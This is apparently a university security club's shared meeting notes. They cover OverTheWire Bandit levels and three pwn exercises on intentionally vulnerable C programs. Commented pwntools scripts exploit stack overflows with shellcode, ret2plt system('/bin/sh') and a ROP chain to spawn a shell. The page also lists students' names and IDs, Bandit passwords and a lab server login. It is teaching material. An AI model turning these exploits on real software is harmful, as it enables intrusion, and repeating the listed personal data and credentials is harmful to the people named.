108 第八次社課
===
###### tags: `1081`
:::success
簽到:
B073040047 楊志璿
B063040016 陳垣菘
B083040014 陳昱維
B083040021 嚴宇同
B083011026 蘇彥龍
B083011023 陳又𩑹
M063040019 劉育錡
M083140001 張郢展
M083140005 曾煜鈞
B063040059 陳縵欣
:::
* WPA2 ATTACK 再玩一次投影片:[SCC_ppt](https://docs.google.com/presentation/d/1AkBYZCJw4KTC4DaPQFqPLfS2IL_4NnICuwRQrEClROU/edit?usp=sharing)
* [pwn題分析與解題基本方法](https://docs.google.com/presentation/d/1mY-4WevBesrDSf9IbYx8mYa6hKj5jdvn5DbmT48tk_0/edit?usp=sharing):會帶exercise1~3的解題方法
社課共筆
---
嘎啦嘎拉
## overthewire
### bandit 10
https://overthewire.org/wargames/bandit/bandit10.html
ssh bandit9@bandit.labs.overthewire.org -p2220
密碼:UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR
The password for the next level is stored in the file data.txt in one of the few human-readable strings, beginning with several ‘=’ characters.
利用 strings 找檔案 human-readable 的字串
$ strings data.txt
利用 grep 尋找開頭是 “=” 的字串
$ strings data.txt | grep ^=
### bandit 11
ssh bandit10@bandit.labs.overthewire.org -p2220
密碼:truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk
解 Base64 的文字
$ base64 -d data.txt
### bandit12
ssh bandit11@bandit.labs.overthewire.org -p2220
密碼:IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR
## Pwn
ssh -p 3001 user@macaca.cool
密碼:Is_l4b_pw
以下三題是i386的題目,64位元下會有些除了變成8個byte以外的不同
此補充一下int 0x80這個組語執行後會參照的[x86 linux syscall](https://syscalls.kernelgrok.com/)的表
### exercise1
```clike=
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/types.h>
char name[10];
void print_input(){
char str[16];
printf("Comment:");
//使用gets寫入區域變數,因此可以stack overflow
gets(str);
printf("%s say:\n%s\n",name,str);
}
void main(){
//下面兩行為權限修改
gid_t gid = getegid();
setresgid(gid, gid, gid);
//將stdout的buff取消,非必要,只是確保在python裡面send完之後不會因為buff而recv不到東西
setvbuf(stdout,NULL,_IONBF,0);
printf("Name:");
//使用gets寫入全域變數,未初始化的全域變數在bss的區段,沒開PIE的話每次執行位址固定
gets(name);
print_input();
}
```
```python=
from pwn import *
p=process('/home/user/labs/exercise1/vuln')
print p.recvuntil(':')
#在全域變數中輸入pwntools提供的shellcode,這段shellcode會執行/bin/sh,asm會將shellcode的組語組譯成機器碼
p.sendline(asm(pwnlib.shellcraft.i386.sh()))
print p.recvuntil(':')
#p32是將整數轉成4個byte的字串,預設是用little endian,例:p32(0x11223344)會變成\x44\x33\x22\x11
#經過gdb可以發現要overflow return address需要先塞0x18個byte
padding="A"*0x18
#接下來4個byte為保留下來的舊ebp
old_ebp=p32(0)
#然後是return address,在這個地方放入用gdb找到的全域變數位址,也就是執行/bin/sh的shellcode
ret_adr=p32(0x804c030)
p.sendline(padding+old_ebp+ret_adr)
p.interactive()
```
### exercise2
```clike=
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/types.h>
char name[10];
//一樣兩個gets,但是開了NX保護,可寫位址不會有執行權限
void do_something(){
char choice[5];
printf("Hello %s\nDO you know Matrix?(yes/no)\n",name);
gets(choice);
printf("Ok, it's not important\n");
system("sleep 2");
system("cmatrix");
}
void main(){
gid_t gid = getegid();
setresgid(gid, gid, gid);
setvbuf(stdout,NULL,_IONBF,0);
printf("Name:");
gets(name);
do_something();
}
```
```python=
from pwn import *
p=process('/home/user/labs/exercise2/vuln')
#elf可以幫忙找執行檔中的一些資訊,更詳細請看document,我也沒有很熟
e=ELF('/home/user/labs/exercise2/vuln')
#plt table是動態連結程式中呼叫library函式時跳轉的位址,因此跳轉到這個位址會執行system
print hex(e.plt['system'])
print p.recvuntil(':')
#在全域變數輸入/bin/sh,方便執行system("/bin/sh")
p.sendline("/bin/sh")
print p.recvuntil('?')
#用gdb可以發現要overflow return address需要先塞0xd個位元
padding="A"*0xd
#接下來4個byte為保留下來的舊ebp
old_ebp=p32(0)
#在return address的地方寫下plt中system的位址
ret_adr=p32(e.plt['system'])
#因為一般而言是用call system@plt的方式呼叫system,這個動作會push return_address,也就是說進入system@plt時esp上面會放return address
#然而ret這個指令類似於pop eip,所以在進入system@plt之後esp上的4個byte會是system的return_address,不過此題用不到
system_ret_adr=p32(0)
#作為system的參數,前面輸入的全域變數位址,內容為/bin/sh的字串
binsh=p32(0x804c038)
p.sendline(padding+old_ebp+ret_adr+system_ret_adr+binsh)
p.interactive()
#p.s. 開始與程式互動之後cmatrix仍在執行,所以要輸入q來離開
```
### exercise3
```clike=
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/types.h>
char nothing[10]="/bin/sh";
//這題當中沒有用到system,而且是靜態連結,所以用簡單的ROP來解
void do_something(){
char str[10];
printf("Just overflow\n");
read(0,str,0x80);
}
void main(){
gid_t gid = getegid();
setresgid(gid, gid, gid);
setvbuf(stdout,NULL,_IONBF,0);
do_something();
}
```
```python=
from pwn import *
p=process('/home/user/labs/exercise3/vuln')
#以下gadget可以用gdb-peda中的ropsearch找
popax=0x080aa4b6
popcxbx=0x0806f242
popdx=0x0806f21b
int80=0x0806fb80
#/bin/sh是有初始化的全域變數,在data段,可以用objdump -s之後找到data段去找位址
binsh=0x80dc068
#利用上面的gadget依照之前投影片中的教學給各個register賦值,最終就會執行execve("/bin/sh",0,0)
padding="A"*0x12
old_ebp=p32(0)
rop_chain=p32(popax)+p32(0xb)+p32(popcxbx)+p32(0)+p32(binsh)+p32(popdx)+p32(0)+p32(int80)
p.sendline(padding+old_ebp+rop_chain)
p.interactive()
```
頁尾交流區
---
> [name=Sophie] pwn 好難 QAQ